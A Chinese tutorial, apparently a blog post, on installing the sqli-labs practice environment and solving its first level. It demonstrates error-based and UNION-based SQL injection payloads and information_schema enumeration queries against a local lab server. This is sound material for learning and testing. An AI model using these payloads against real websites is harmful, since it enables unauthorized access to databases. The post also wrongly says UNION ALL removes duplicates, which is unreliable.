一、环境搭建
apache+mysql+php
Tomcat+mysql+java(部分关卡需要)
如果可以的话,推荐在 windows 和 linux 下分别安装:
Windows 下可以用 wamp、phpstudy、apmserv 等直接安装,linux 下可在网上搜索教程进行
安装。我 的测 试 环 境 是 windows 下 用 phpstudy 直 接 搭 建 的.
sqli-libs源码下载
链接:https://pan.baidu.com/s/10nxpeIMeLmCLBon8w1w6bw
提取码:c8ux
Sqli-labs 安装
将下载的源码解压到 web 目录下,linux 的 apache 为 /var/www/html 下,windows 下的
phpstudy 解压在 www 目录下。
修改 sql-connections/db-creds.inc 文件当中的 mysql 账号密码
将 user 和 pass 修改你的 mysql 的账号和密码,访问 127.0.0.1 的页面,点击
Setup/reset Database for labs 进行数据库创建,安装完成就可以开始了。
根据难易程度分为四个部分:
二、开始测试
Less-1
提示请输入一个参数ID
我们在http://192.168.2.16/sqli-labs/Less-1/?id=1后面直接加一个‘ ,然后再看
从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1,
多加了一个 ’ 。这种方式就是从错误信息中得到我们所需要的信息,下面尝试将 '去掉 ,添加1' or 1=1--+
可以看到正常返回数据。
此处可以利用 order by 对前面的数据进行排序,也称判断显示位,这里有三列数据,我们就只能用
orderby 3,超过 3 就会报错。
‘order by 4--+的结果显示结果超出。
从源代码中分析下为什么会造成注入?
Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+,直接构造的 sql 语句就是
SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1 这条语句因 or 1=1 所以为永恒真。
union 的作用是将两个 sql 语句进行联合,union 前后的两个 sql 语句的选择列数要相同才可以。Union all 与 union 的区别是增加了去重的功能。
http://192.168.2.16/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
先爆数据库
可以使用database()函数查看当前数据库名,然后直接利用
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的,
我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****
爆security数据的表
爆user表的列
爆数据